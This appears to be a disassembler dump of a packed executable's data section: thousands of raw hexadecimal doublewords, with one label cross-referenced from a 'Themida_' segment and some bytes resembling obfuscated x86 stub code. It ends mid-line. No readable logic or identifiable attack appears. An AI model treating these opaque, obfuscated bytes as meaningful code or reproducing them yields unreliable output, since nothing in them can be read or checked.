dd 0EB4ECE56h, 9B3152AAh, 0AA313DECh, 20B13256h, 0EECEB137h dd 4F353D56h, 0B5B13256h, 5DB13ADAh, 0C84D5256h, 87D1D8D7h dd 0A7CEB137h, 0F7353D56h, 3B13256h, 75B1325Eh, 1C8E0E9Ah dd 1DCF64A9h, 0AEB1A1BFh, 50585256h, 41B13256h, 5EFE9F44h dd 605E52Ah, 8A4E8A37h, 53D1CDA9h, 5DB1325Bh, 0F7DA841Fh dd 15A3C32Bh, 459D3165h, 0DA4D52BCh, 8BD0EDE9h, 75B137EFh dd 0BAA2DB56h, 41F83256h, 139FDA0h, 0E01970CFh, 48F463A2h dd 0BFA7AAA7h, 121AC119h, 7592BA59h, 53D13256h, 5DB1325Eh dd 59DE7C4Bh, 65F7E74Ch, 0ABB13DBFh, 39311356h, 8DCB1E79h dd 6713DCE2h, 0F9BFBC83h, 0A337DB37h, 0A149CDA9h, 57B13DDFh dd 0ABBBDB56h, 0BA583256h, 1D07E8Eh, 75626586h, 0BFA14DD5h dd 5DDFB659h, 24BE3256h, 57B13257h, 0BBCEB1AAh, 0A8343D50h dd 8AB13256h, 0C778B3AEh, 0DBD2E5D3h, 0E4D75217h, 960EE528h dd 36AD1B24h, 0ABB6B259h, 5ABE3256h, 0EAB13257h, 71F6B9AEh dd 0B6EEB9AAh, 5DA1DA36h, 2A63256h, 5DD1495Bh, 9CD42C18h dd 2EF79E0Ch, 65BED007h, 75B13256h, 7B58530Eh, 52B13257h dd 0AEB139D9h, 0D8BE5256h, 0ABB13256h, 0B46BB930h, 1FB575DDh dd 8DBD6DDDh, 0BB2EDBAFh, 0E8D13256h, 0AEB8DB73h, 0AE5C3256h dd 0AF792FCBh, 0B412BF9Bh, 16B575DDh, 7ABD6DDDh, 0BAB12DD8h dd 443D3D56h, 47B13256h, 57B13242h, 0B264BDDEh, 0E3C4708h dd 7C9C2713h, 0E5C1796Dh, 0A0A4924Dh, 5260B936h, 0AEB131DEh dd 8E3A5456h, 0A3EE0937h, 0D579B759h, 0F9583256h, 25B13256h dd 22BDC0C7h, 0C20D593Dh, 174B6315h, 1D527ABDh, 0A4E3F631h dd 0D5B134DAh, 0E5485256h, 0FED0EBE9h, 32BE3601h, 5DB1325Ah dd 0C40E5436h, 573D3D20h, 0CAB13256h, 3CA1677Dh, 0EAB1325Eh dd 0CADA6EF2h, 0EC8B00BBh dd 5DB13CBFh, 8F267D56h, 369B8B8Dh, 0B12BA78Fh, 0D6B9128Ch dd 61482603h, 0F0BE3E09h, 0BAB1324Eh, 5DB121BFh, 0A7F5A956h dd 0E7E3D5F7h, 5D4BDCEh, 21F9F4BCh, 0E380EEB6h, 8D6B19AFh dd 0B5B4D9D5h, 5DB137D3h, 24445256h, 58EB5399h, 0ABB126DDh dd 0D5BEDB56h, 0E4E93256h, 38C032F3h, 0E059D551h, 19E037B1h dd 0CF4D5289h, 57B178BFh, 0A0333D56h, 3CB13256h, 0EAB13250h dd 801C0239h, 0FD3A643Dh, 60045252h, 1C78B330h, 83A530Dh dd 0AA3A3D5Ah, 29B13256h, 3B56D7Dh, 75B1325Eh, 0AD812B59h dd 0A703E55Dh, 57B4D9D5h, 4130B855h, 0A4443442h, 0D5B130DDh dd 69D05256h, 7AB22229h, 0BAB172D3h, 5C333D56h, 5BB13256h dd 57A3DB36h, 73AC3256h, 0EE1DD7DCh, 0C12EE64Fh, 0BFE3639Dh dd 0A7067558h, 1CD06A06h, 0AEB139BFh, 3E6A4356h, 676D1F7Dh dd 0F60266C1h, 0EAB6BE59h, 0F1BE3256h, 0BAB13257h, 0A56819AFh dd 0AFB06EDFh, 0A809CBAEh, 0A44ECDA9h, 0D5B135DAh, 55BE5256h dd 146EB9A4h, 0BAB137EFh, 0D0BE5256h, 0AEB13256h, 0AF1AC137h dd 57ABDBAEh, 0B44DCDA9h, 0EAB126BFh, 9CE15456h, 0CCC1F3CAh dd 342FFE63h, 1F6EB946h, 0B39AC8ADh, 0A658FBC9h, 67B13256h dd 0A03936B3h, 3D8CFB48h, 47A84043h, 52B12294h, 0AEB124D1h dd 57A0DB56h, 0D9EF3256h, 6412DE02h, 0B5DA8EA1h, 1D725BD5h dd 0EFA76901h, 5DB13EBFh, 372BB856h, 4D1E4151h, 21A8EB8Bh dd 0DA5DB93Ah, 0EAB133D8h, 0B132C756h, 0BB3B3DAAh, 0A8B13256h dd 0AEB7BF59h, 6D13256h, 0CAEF650Ch, 0DAE35236h, 0E5EEC8E9h dd 75B12ADFh, 0BAA3DA56h, 6E043256h, 0FB355CAAh, 1F178C29h dd 93FF4E82h, 35ECB031h, 0EA59530Fh, 2FB13256h, 3D5D8D7h dd 5B58344Ch, 44B13256h, 9E38F8A9h, 0B2303D30h, 0B5B13256h dd 0EAB13DBEh, 0B80D3356h, 0DD2AED83h, 0DB6568D9h, 0C7F6B2Ch dd 3668B90Eh, 0D29488DDh, 5DBE344Ch, 0EAB13251h, 75B0B859h dd 89443256h, 5DBCDB9Fh, 0CCCD3256h, 276A20F6h, 9FC857D6h dd 568D44AFh, 6EBE3269h, 75B13191h, 42B6B9A3h, 0B4BD47A9h dd 0AEB1325Fh, 0FEC01651h, 5E237F5Ch, 0DDC4CDACh, 0EAB13BBFh dd 0AB223F56h, 0E8D4394Bh, 3DE1FCE0h, 4BFD8C30h, 57B5B959h dd 14D73256h, 0B5D0680Ah, 0EAB7BF59h, 0F9BE3256h, 0BAB13256h dd 5DB3B359h, 0A2003256h, 5461DA37h, 0A4D13256h, 5CBEC8E1h dd 0EAB13252h, 0FBF8830h, 7ABAC737h, 5DFCB759h, 2FD13256h dd 0AD5A9EB0h, 780E3D7Fh, 0DA393D37h, 3B13256h, 75B1325Ch dd 37C46C4Fh, 70A4778Dh, 0A93A09C0h, 57B0B459h, 42483256h dd 0D5B13269h, 0EAA9BF59h, 66583256h, 1DB13256h, 0F70CAB46h dd 2B7E9B4Ah, 0EB8CA7ACh, 6FA843Fh, 5644D0F8h, 8CD12691h dd 0E90CF9D7h, 0DB4A8559h, 0A24E1CBFh, 0A63B3DA9h, 37B13256h dd 12D730E0h, 5CD07A6Fh, 66BECE13h, 75B13251h, 0BAB0B959h dd 0A2443256h, 22BE3E23h, 57B13257h, 0A3C4CDA3h, 0B586CDAFh dd 0EAB3B259h, 0AB3A3256h, 0B9ADDA37h, 0E7D13256h, 0AD7CF006h dd 2751C3D7h, 53D06A82h, 51BEF25Dh, 0EAB1321Dh, 75B121BFh dd 0F1F19556h, 405EA91h, 0B770E566h, 13CD18B4h, 0AC65F34Eh dd 0D5B3BCBFh, 0E63E3D56h, 9CB13256h, 0BAB13251h, 0E47AE1A6h dd 0A188B96Ch, 57B124DCh, 0A6585256h, 0C2B13256h, 0A5F1B9B5h dd 0DC6C9852h, 0D7089658h, 0D6D0CEDCh, 17D1CE13h, 4EA7F322h dd 0ABB3BE59h, 1A3A3256h, 0E5B60B37h, 75B374D4h, 0BABFDB56h dd 0A4AE3256h, 98A931A9h, 6503AD33h, 0BD08DDCFh, 0DA4D77A9h dd 0EAB13ED3h, 73353D56h, 0B5B13256h, 5DB132D9h, 0D132CB56h dd 0D3BE3252h, 0ABB13264h, 353052AFh, 825A0E21h, 75B13FBFh dd 860BC856h, 37E5C23Bh, 0EE56483h, 0D4D02802h, 0A4B13E29h dd 0D5B13FD2h, 0EB313D56h, 8CB13256h, 0BAB16ABFh, 0A209C756h dd 474ECDA9h, 57B13244h, 0A5574534h, 0A78DE33Dh, 0BDE9EB0Ch dd 0D6BC56DDh, 0BF08BFF6h, 0B4B13256h, 0AEB13250h, 2D958804h dd 423879h, 0D5ACB759h, 64BE3256h, 75B13241h, 0BAB120BFh dd 0B055D356h, 0EDAFB6EFh, 90B93210h, 96CBF59h, 3C2DEA49h dd 154ECCFDh, 65CEB1A3h, 2A353D53h, 3DB13256h, 2CDB8830h dd 8A38DAD7h, 28D03C55h, 0DAB72229h, 0EAB1BFD3h, 79383D56h dd 0B5B13256h, 5DB134DEh, 0AE333D56h, 37B13256h, 35B030EFh dd 0B5F0532Eh, 376B930h, 75B1325Ah, 2757664Ah, 411CD302h dd 0B9FD94ACh, 57A0DB37h, 4A53256h, 7D6F9623h, 0A6EB95h dd 25E6A5D3h, 31C444E6h, 0D7BE3611h, 0AEB13257h, 5BEEB9AAh dd 0ABB4B159h, 55D13256h, 3D054B3h, 75B132CCh, 0BABFDB36h dd 18163256h, 0AF55B7AFh, 0C2B481E0h, 0C3801F68h, 5ED0E4DDh dd 61483611h, 9C483E09h, 0BAB13225h, 32085436h, 0E93A5324h dd 443B3D52h, 42B13256h, 0D5B13258h, 6C696B5Ah, 0AE4AB2F0h dd 19F87DEDh, 23A3D2Ah, 0F19ACE5Ah, 443D3D52h, 0A4B13256h dd 0D5B13FD0h, 0EAB9DB56h, 2BB53256h, 0E317F32Ch, 0B632E934h dd 0C8D1CB53h, 32F9F9D7h, 0E643B330h, 0AA3253C9h, 6FBE3146h dd 75B13241h, 0BB3E3DAAh, 0A5B13256h, 0A6323D17h, 58B13256h dd 0ABB130DFh, 0FED05256h, 0B638CA8Fh, 0CD443357h, 454ECDA9h dd 5808CAAAh, 0CEB13256h, 57B123BFh, 60026E56h, 530CAF0Fh dd 0C104F7A7h, 0C81693Fh, 0B459171Fh, 5CB13256h, 8F84AF77h dd 49A164DFh, 0A7A428E1h, 92A089D3h, 8BEB129Eh, 75B6B959h dd 3ABE3256h, 5DB13257h, 521AC1A3h, 0A84C04BFh, 0BB323DA9h dd 3CB13256h, 0EAB1325Dh, 0CA9257h, 0A54668CEh, 3C424E91h dd 0AEB6B659h, 58D13256h, 0B801C0E9h, 5ABEFB37h, 0EAB1325Ch dd 75B137BFh, 0E2A6F556h, 55735523h, 0BA323D56h, 0BEB13256h dd 0ABB13259h, 46EEC922h, 0CAFE2E06h, 97FBA621h, 0DAA57E2Bh dd 5DB123BEh, 26124756h, 0C8A48D75h, 0E3660334h, 0E46AEBF9h dd 0B0487898h, 0DEC0A4EFh, 53E45306h, 5DB13247h, 6FC925B1h dd 888662E2h, 9B98F49Bh, 5882251h, 35DB9E3h, 75B13242h dd 7C6ED867h, 2482127Dh, 0D3FB23ACh, 662114F2h, 3A02B0C3h dd 0DA4DF6D5h, 0EAB133D6h, 1549CA56h, 0BAB0BF59h, 0D6493256h dd 0A1D13A13h, 57B128D6h, 0ABA5DA56h, 83723256h, 0C551AFCCh dd 5A00D986h, 5FDFC0Dh, 0D1BC5D92h, 16EF8FF9h, 570EAE5Fh dd 0A7F40937h, 0D5EDB059h, 0E5583256h, 0CB13256h, 793C5F05h dd 748FCBFAh, 3722C48Eh, 128A24F8h, 94363D46h, 0B5B13256h dd 0EAB13FBFh, 0F1F12856h, 26F402E1h, 0A3DC180Bh, 45300035h dd 335C9557h, 57F4F537h, 0D5B13256h, 0EAB121BFh, 6A965856h dd 95092661h, 514F3E8Eh, 0F45E9672h, 2EC8B262h, 0ABB12EBFh dd 9076CB56h, 0EAB133AAh, 7B58CB56h, 53B13256h, 5DB1325Fh dd 1553229Ch, 0F1E7382h, 29BE538Bh, 0D5B1324Fh, 0EABADA36h dd 1F583256h, 0ADF91DFEh, 440F9AC5h, 23BE6C27h, 57B13256h dd 57F4B937h, 0D5BCB859h, 0E2583256h, 39B13256h, 0D8025784h dd 9497FE2Bh, 0AEB138BFh, 3BC37456h, 0FD876961h, 17162761h dd 0F858325Ah, 0C1B13256h, 0D30631BAh, 0FB2C6A39h, 294F9B7Bh dd 4D3F1BDAh, 0F9D16720h, 0B4486AAEh, 0EAB139BFh, 11B87356h dd 4AFBE08Dh, 838ED69Dh, 0BE58DEDDh, 43B13256h, 0B40490Ah dd 0B6C0CC5Dh, 73755319h, 0F6AEED6Fh, 0A958CE92h, 83B13256h dd 63B77D84h, 10A167D1h, 91524A4Fh, 78E8896Bh, 13D170D2h dd 75B132BEh, 50306856h dd 5BAB8DD0h, 0AEBBBC59h, 58D13256h, 0ABB132DDh, 0B44BB956h dd 0EAB13BBFh, 0B5CE2556h, 462C7D3h, 94823AC4h, 0AEB13DBFh dd 2BFAE556h, 0A2DC8541h, 0E336AA6Eh, 96C268Ch, 0FCBEE965h dd 0BAB13251h, 5DB0B159h, 27493256h, 0DC44CE0Bh, 0B1C817ECh dd 25305250h, 87B2D5B9h, 758EB137h, 0B8CBB659h, 5B583256h dd 0CEB13256h, 2BB33A6h, 548EB1F3h, 0D58FB759h, 62BE3256h dd 75B1325Ch, 0AE0E5436h, 6508548Ah, 69325321h, 57B6DB42h dd 0EEE63256h, 1394B4FFh, 150EDB67h, 9DD1CDA9h, 0BAB1325Bh dd 8253BE9Ch, 8605EB18h, 58F26FA1h, 4830547Fh, 0B4EEF7F7h dd 0EAB54DD5h, 758DB659h, 37BE3256h, 5DB1325Ah, 0AEB7BC59h dd 0D8BE3256h, 0ABB13256h, 0D5B13FBFh, 9BDF956h, 73EF4AF8h dd 0A6012478h, 2232BFF9h, 2ABE325Ah, 57B13258h, 0CAD16536h dd 0B475820Ch, 0EAB102BFh, 304ECA56h, 0BAB8DBAAh, 0D1263256h dd 0F7666A0Fh, 0D4FCD1D7h, 0A7582691h, 0ECB13256h, 0E7D311ABh dd 0F5AE2837h, 0DA2CA12Ch, 0B4D0F8E7h, 514ECD67h, 47CEB1A3h dd 31353D53h, 3CB13256h, 0EAB13259h, 0FFE4139Fh, 9DF56B26h dd 9A7D1EDFh, 0CE2ACB15h, 560AEBDDh, 0CA924ACDh, 0D3A14DD5h dd 0EA26B759h, 34483256h, 0B2585236h, 0E1B13256h, 4CE2CAE1h dd 3627A3BAh, 20D0F5DDh, 0DA493611h, 0EAB116DAh, 7E585256h dd 5EB13256h, 0CD1C9F6Eh, 0F83583E8h, 5B59AAF3h, 81B13256h dd 0CFA120E9h, 0EEA9238Eh, 2A56DB4Bh, 0B6EEB937h, 5DB122BFh dd 0C072B556h, 4CA52A57h, 819CD382h, 0C4074D4Bh, 2458CE58h dd 7AB13256h, 0BAB13ED2h, 5B3A3D56h, 0A1B13256h, 57B132D6h dd 0AFF6B956h, 0D9EEB9AEh, 0EA1DDBAFh, 67583256h, 0BCB13256h dd 8D825BC5h, 5D3DC3F9h, 0AA67DD86h, 349A01BCh, 0D1F6B96Eh dd 0EAB13DBFh, 13DD656h, 3CC103D3h, 969BF958h, 7F6127E0h dd 57B13FBFh, 75943C56h, 3B78B329h, 0ADA5460Bh, 2A3AAB3Bh dd 0BAB7DB5Ah, 5E513256h, 8096615Dh, 0BEB56D7Dh, 0ABB13253h dd 7F73B771h, 0EF5AB17Dh, 75B9DB36h, 767D3256h, 0DCFD431h dd 2DD0C0C7h, 58B22229h, 0ABB107D3h, 0D93E3D56h, 0E5B13256h dd 75B134DEh, 0BA393D56h, 1CB13256h, 0B53E3DAFh, 37B13256h dd 0ABB126BFh, 417F0156h, 15D06AA5h, 303B0AADh, 69754138h dd 0B4330909h, 779A5388h, 56EDBBAEh, 0ABA2DB57h, 0A6963256h dd 0BE9DC319h, 91964B60h, 5A2D608Dh, 450DA462h, 514E8A9Fh dd 0D2BECDA9h, 0ABB13257h, 0D5B48BAFh, 6AD13256h, 7F5946BBh dd 1AB13256h, 120814B9h, 526E12B1h, 872B94Ch, 0A41AC137h dd 0D5B133D1h, 9458C756h, 894ECDABh, 0B3323D37h, 3DB13256h dd 0B943B3AFh, 36C108B8h, 0A44D77DDh, 0D5B139DEh, 0EAB7DB56h dd 3FE63256h, 3E8D3195h, 5DBADB9Fh, 603C3256h, 0DCD4A818h dd 1660A884h, 8549F184h, 0EAB7B159h, 13D13256h, 0DB9537E8h dd 5DB7DB07h, 2EF33256h, 6D8E1251h, 0AB59CA05h, 8FB13256h dd 280DD8D7h, 0F7BE344Ch, 0BAB1325Ch, 5DB137BFh, 7933A356h dd 0D5BE80F5h, 0ABB1325Eh, 0D5B3BF59h, 8BD13256h, 7F2BBFAAh dd 53B7282Ch, 5DB1325Ch, 4EA434B1h, 0A1575D61h, 0CF0964F7h dd 3CB13256h, 0EAB1325Bh, 0C10F2FF5h, 0AF39A781h, 76DEC064h dd 0AA20DAEDh, 0DC493256h, 0A7313D5Dh, 0B5B13256h, 176BB330h dd 823054EFh, 0DAD08865h, 96063DA3h, 56700937h, 57FEDBAEh dd 0A8483256h, 0B549361Dh, 8C7F8D59h, 6824D4D7h, 0B5700937h dd 5DB151D4h, 0E5B2C756h, 0B9315246h, 5C0E3D2Fh, 0DA700937h dd 0EAB135D4h, 6758C756h, 43B13256h, 5DB16BBFh, 17E15256h dd 7ACAA023h, 0F448630Ch, 0D5F9DB37h, 66BE3256h, 75B13257h dd 6C2BBFAEh, 0A4B72913h, 474DE1A9h, 57B13264h, 0ABA7B559h dd 5CBE3256h, 0EAB13246h, 75B139BFh, 8D72AC56h, 5145768Eh dd 0EF86108Ch, 1F4DA8DBh, 5449344Dh, 0D23D3D85h, 0E5B13256h dd 75B133D5h, 0DAEACB56h, 0EE9DE6ECh, 0AA0E5426h, 0BEE85372h dd 0ABB1325Ah, 8C572AC5h, 9D990674h, 15A3DD5Ah, 32BE520Eh dd 5DB13254h, 17D7F1DCh, 94D02B02h, 0ABA0B959h, 0D9583256h dd 16B13256h, 0CEFB8D44h, 8F717DEAh, 8251220h, 70063D36h dd 0DCD0DCDCh, 0A0303DBAh, 3CB13256h, 0EAB13250h, 8A4D804Fh dd 0BA59587Ah, 7B13256h, 6A9DD8D7h, 0D0BE344Ch, 0ABB13243h dd 0D5BFDB36h, 50533256h, 1C19E602h, 0EA06EDCh, 0A400FF36h dd 563A5237h, 0EFD75237h, 50BE643h, 0B4C77954h, 0E7393D36h dd 9CB13256h, 0BAB1325Eh, 6BADBBE1h, 16338AC7h, 2DBB88DBh dd 29BE344Ch, 0D5B1325Eh, 0EAB3BF59h, 14D13256h, 0DAB977DDh dd 5DB139BFh, 42E3F956h, 407B67B7h, 4606A5B3h, 5266FAD7h dd 1FD04AA2h, 0FFD135DFh, 46D15391h, 5DB121BFh, 19852D56h dd 4EDAC436h, 35D9932h, 81C52F67h, 0B3001FE8h, 79F4B937h dd 0BABBDBAFh, 0EA03256h, 0BD5BEF13h, 82918FA9h, 0CBB575DFh dd 0D5B4B059h, 6BD73256h, 1387C990h, 0DB341AEFh, 0B4A177DDh dd 0AEB1325Eh, 629D7264h, 0E180AD6Ch, 0B5BD75DFh, 0EAB120BEh dd 0ABB7BC56h, 0F87AD44Ch, 6C6FEDA4h, 0F363862Dh, 0AEAB1966h dd 1CBE640Eh, 0DAD06DA9h, 0EAB13CDEh, 75B8DB56h, 0C0AE3256h dd 0F532A2DEh, 250C4758h, 0EED12613h, 0FDA44BD6h, 0C5F6BB37h dd 0EAB139BFh, 9DC28056h, 0F81B51A0h, 7526328Dh, 19BE5237h dd 9E063D80h, 20BEFB37h, 0D5B13240h, 0EAA1B959h, 7E583256h dd 0D4B13256h, 30C506B8h, 6BD90CEh, 4773F187h, 20D15256h dd 0D5B7DB88h, 0D1133256h, 0F976DD31h, 0DAD15337h, 5DB3BB59h dd 0F0E23256h, 91D0FDDDh, 0BFAB6BD3h, 5CBE7550h, 0EAB13251h dd 13D05236h, 4FD0CCDDh, 4AC2283Eh, 300F52FEh, 5E7331Fh dd 0ABB13DBFh, 0BD751856h, 0E0138408h, 0F2BCB2DEh, 57424543h dd 0E84E5309h, 0A8A52887h, 57A2BD59h, 27BE3256h, 0D5B1325Bh dd 0EAB13ABFh, 0BCCF4356h, 5252348Bh, 8634BF10h, 0CEB725D6h dd 0DD7A8D59h, 7B4E53B3h, 584960AEh, 0F0CA8FDCh, 72303D50h dd 0B5B13256h, 5DB133D1h, 0FF48CB56h, 57BBDA36h, 0B4703256h dd 569BE177h, 459B351Ch, 75B135BEh, 42051B56h, 8E0860F0h dd 47D06C09h, 57B13247h, 3F1F1585h, 4103D345h, 1F6DB651h dd 602B6CF2h, 4661CDDAh, 983B520Ch, 1333BF37h, 58B7282Dh dd 0ABB133D3h, 62BEC756h, 3D13E16h, 75B13246h, 5D5BDBC0h dd 0F0DDC203h, 46D0396Fh, 710AB612h, 0CA67B930h, 3C44EADDh dd 0EAB13247h, 0F9AF257Bh, 0A5F096C0h, 2E04AFF7h, 51F49783h dd 584D60A9h, 0ABB133D7h, 0E4BECB56h, 0EAB134BFh, 0E82DB756h dd 0E08459D4h, 0A87231AAh, 8390B0DFh, 0BED13442h, 0ABB13251h dd 650803BAh, 8CBF53EFh, 0CDA9C4D7h, 0E8D15337h, 3BEEC0DDh dd 0CF2A3DEDh, 563E3D95h, 0FCB13256h dword_5B52B8 dd 0F52F851h, 18Fh, 0E8F500h, 5A000000h, 0C6E8EA81h, 840F061Ah ; DATA XREF: Themida_:0054AD4Co dd 0Ch, 6890Fh, 8C0F0000h, 0 dd 0A8D0Fh, 5E90000h, 0AA000000h, 0DA2EC2A1h, 890FF952h dd 6, 0B1616060h, 828B617Eh, 6142D21h, 0B800FF9h, 0E9000000h dd 6, 51147EC2h, 6DB921E5h, 0F41C64Eh, 183h, 0E1F7F500h dd 5830F60h, 66000000h, 2AB8D881h, 603EBF66h, 0DE95A61h dd 92000000h, 75257F22h, 2B49C7A2h, 500A5ACDh, 303905h dd 0BB666000h, 0EB8AB58Dh, 0FFFF2561h, 89FC7FFFh, 142D2182h dd 605AF506h, 0CCEF681h, 5961481Eh, 810FC3F9h, 0Fh, 0AE9h dd 8F1B8D00h, 6EB0F8CEh, 514B1230h, 13E960h, 1BE80000h dd 9A12F958h, 8E7C9491h, 4D0D9697h, 0BDE963CBh, 6052617Ah dd 10E8h, 75A54500h, 2CCB3822h, 0CF030496h, 0FEA8D33Fh dd 5F616070h, 0AE860h, 0BA980000h, 0AC336552h, 3B910B89h dd 0E861615Bh, 0 dd 0F1EA815Ah, 0E9061AC7h, 0Bh, 0BCCBA816h, 7A9CECFFh dd 0E9C3EE77h, 10h, 6EF82C55h, 6133A8h, 3A13B7DDh, 7C54424Dh dd 0BD7BBA60h, 0BF0F7505h, 0C88B61DEh, 0FEAAE8F5h, 890FFFFFh dd 8, 2810Fh, 61600000h, 13E960h, 0B2050000h, 98BBF630h dd 249BCEB0h, 0EC226185h, 15F3BFD1h, 0EABE66EBh, 0D233610Dh dd 816660F9h, 618C8AC2h, 0F60F1F7h, 0BF0FD8B7h, 0C28B61C6h dd 0DE9h, 13B62100h, 0A2D2C30Bh, 0F09435CEh, 605A2A15h dd 61FBB70Fh, 0F9C3F559h, 0AE9C08Bh, 0FF000000h, 0C0EDB50Fh dd 85A17723h, 60C08B9Ch, 840F41B2h, 6, 8AD4C681h, 8D616D5Dh dd 1A91DD85h, 850F6006h, 2, 8B66C38Ah, 0D0FF61C7h, 0BE9F9h dd 8E8C0000h, 83A40867h, 0A88DF01Ch, 0C18B66E8h, 7890Fh dd 8C0F0000h, 1, 0D9858DF5h, 0E9061AC6h, 5, 146ACD3Bh dd 6D85892Dh, 0E9061421h, 0Dh, 5F7E8F4Bh, 0BF98C03Ch, 53D65D30h dd 0A4858DC0h, 0F9061AC7h, 2C258589h, 0B8F90614h, 0 dd 11820Fh, 0CE90000h, 0F0000000h, 68F091BEh, 74699AFAh dd 0B11B980h, 53840FC0h, 0F8000001h, 1A5985C6h, 60560614h dd 30DF6861h, 6660A9C5h, 97AEB81h, 4CF0D981h, 0FF6142B8h dd 141AD1B5h, 1A820F06h, 60000000h, 880Fh, 0CE80000h, 58000000h dd 5ACE4165h, 7207624Dh, 5BA36923h, 0DB858D61h, 0E9061780h dd 11h, 0F51E9EBBh, 9A2E821Eh, 44357E45h, 0A24008F3h, 60D0FF24h dd 0C781CFB1h, 25E2942Ah, 13E95061h, 6F000000h, 0E9653017h dd 192DD69Fh, 64601586h, 53FFC980h, 800FE25Bh, 0Ch, 68E0Fh dd 8F0F0000h, 0 dd 958D8Dh, 66600614h, 66B3D9BBh, 61F5AAB8h, 5880F51h dd 60000000h, 61F38B66h, 0C800Fh, 66600000h, 81000CBFh dd 0E48508D0h, 46A613Ah, 0D7BF0F60h, 615EF953h, 100068h dd 0BF666000h, 6056AE92h, 0FF615861h, 1424F9B5h, 1800F06h dd 0F5000000h, 10E9D0FFh, 11000000h, 129B8C99h, 84B8F374h dd 5B254D6Fh, 8B1AC4CCh, 1424F9BDh, 9E906h, 9B320000h dd 0EB013348h, 0E9BCE930h, 11h, 7FA13104h, 0F9B8EE6Ah dd 0F6409CB2h, 0DE6040Bh, 3C7F039Dh, 18A0Fh, 81FC0000h dd 0F8C7h, 0CE900h, 0E22C0000h, 3668CC3Fh, 0E0778C35h dd 47C71979h, 2024h, 9D8DF860h, 6141135h, 58B0Fh, 57600000h dd 8B61F85Bh, 18A0F03h, 0FC000000h, 840FC00Bh, 44h, 11E9h dd 208D500h, 3087F21Ah, 9690F5h, 3A3C5938h, 8B8E30h, 0CE9h dd 8093CF00h, 4F5AC06Eh, 0F83BEDFEh, 4438997h, 128F0Fh dd 0DE90000h, 99000000h, 0E27CC865h, 8ABC08EFh, 0CEE74DD1h dd 234CF6B9h, 0DC8D8D00h, 8B061ACBh, 143445B5h, 298D8906h dd 6A061432h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 14042444h, 41000000h, 8B1EC351h, 142B4DB5h, 4D85C706h dd 8C061406h, 6A000065h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 16042444h, 42000000h, 50F4C352h, 0EE9F7h dd 14220000h, 102AAEA5h, 3672A082h, 0B9BB5D9Fh, 267185C7h dd 614h, 5E90000h, 1F000000h, 0C295F1B6h, 2111B5FFh, 6A0614h dd 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h dd 2B16EBC3h, 0D1AB17D0h, 293384FCh, 142661B5h, 6195FF06h dd 0E9061423h, 0Ch, 0B0775C70h, 2D798CB7h, 41340172h, 68F0Fh dd 958B0000h, 6142B05h, 95FF006Ah, 6141169h, 29EBC08Bh dd 315ADA54h, 501453Fh, 6D439BCBh, 0EE143D7Dh, 0E39645C2h dd 405D2238h, 126661E1h, 0DC919211h, 0A5B69B70h, 0C5B3F6B8h dd 0BC8D8D2Fh, 6A061ACCh, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 17042444h, 41000000h, 3543C351h, 8D89E0F7h dd 6143229h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 14h, 53C35040h, 64D85C7h, 62B00614h, 6A0000h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h dd 7683B6C3h, 607A7756h, 615A5760h, 6830Fh, 958B0000h dd 6142B45h, 2DB58961h, 0C706141Ah, 14267185h, 6, 65952900h dd 0FF061423h, 140591B5h, 849CBA06h, 95FF22A5h, 6142361h dd 95FF006Ah, 6141169h, 7FEBC08Bh, 81F10A85h, 93CF64Bh dd 0E49E6129h, 5E7C44A0h, 299189E2h, 9E90CDD9h, 1602ECC5h dd 0F3FB98BCh, 1E0D2111h, 7B0A076Ah, 98F35457h, 53951878h dd 97F9609h, 7729371Ah, 0AFD77ED7h, 8C83941Eh, 3C6822C5h dd 25F8893Bh, 0CC00EA98h, 0BCAD817Bh, 0A336AEF9h, 9B985C03h dd 1303A81Eh, 5DDB8526h, 3953C55Fh, 0C4165A41h, 0CC5F8E54h dd 0BF2B9308h, 0CAEA5AADh, 0F91B2736h, 6AE03203h, 8D8436E9h dd 1ACDEC8Dh, 89F98B06h, 1432298Dh, 51006A06h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1704h, 0C3514100h, 81B48019h dd 85C760B6h, 614064Dh, 6348h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Ch, 82C35040h, 2DB74BAh, 31452F7Bh dd 0C7F18B66h, 14267185h, 6, 0D8B70F00h, 0FFF7BF0Fh, 14220DB5h dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h dd 0C3554500h, 9589A8E7h, 61420F1h, 0FFC2B70Fh, 14236195h dd 8BCB8006h, 95FF006Ah, 6141169h, 7EEBC08Bh, 0C239B284h dd 95075B56h, 5AEC6B8h, 0B2F7F7A2h, 0D847995Ah, 0F17F8E34h dd 0FD47A4FCh, 3473DED1h, 932CF6BBh, 709A26Fh, 0C8368563h dd 0A6EF2097h, 0C6DC9F6Fh, 0AB06D55Ah, 0F95EB5B6h, 0D46E0CE8h dd 974BF0CAh, 0C3368ECDh, 19FFCFh, 6865F965h, 3EE8EB19h dd 66915C0Ah, 0B3A9D802h, 0BE7E8C66h, 1B13C697h, 0EAF07C5h dd 5B27892h, 544DECBEh, 6AE8D7D1h, 0B7902A1h, 26798721h dd 27E97B13h, 1A000000h, 69DE2Eh, 8 dup(0) dd 47E90000h, 6800000Bh, 61AD022h, 0FA781DE9h, 0D14968FFh dd 13E9061Ah, 68FFFA78h, 61AD2DDh, 0FA7809E9h, 0D3E868FFh dd 0FFE9061Ah, 68FFFA77h, 61AD59Eh, 0FA77F5E9h, 0D76E68FFh dd 0EBE9061Ah, 68FFFA77h, 61AD891h, 0FA77E1E9h, 254DBFFFh dd 0A8C24054h, 2D3DC3D7h, 0AFB9485Ch, 363CCADEh, 0BEAB5065h dd 45592A48h, 0CDE1B2BEh, 53673838h, 89EBBCACh, 0C814A844h dd 39973047h, 4226D9E9h, 0AEBA4589h, 36F97EBh, 0D2FE624Ah dd 91F5174Fh, 7246C700h, 0FA96595Ah, 34105311h, 6D030054h dd 0E73A73B4h, 79119D56h, 0B304112h, 11A541F7h, 8C304113h dd 6DB16AFBh, 0D81BD494h, 96E872F4h, 882B3630h, 356FA731h dd 0A9A31EE1h, 50FA7CB6h, 4B78B142h, 2Fh, 1194Dh, 2068A13Dh dd 0B5ED3410h, 17866FBFh, 94710575h, 6924BDCh, 30417A6Eh dd 0D79ADC42h, 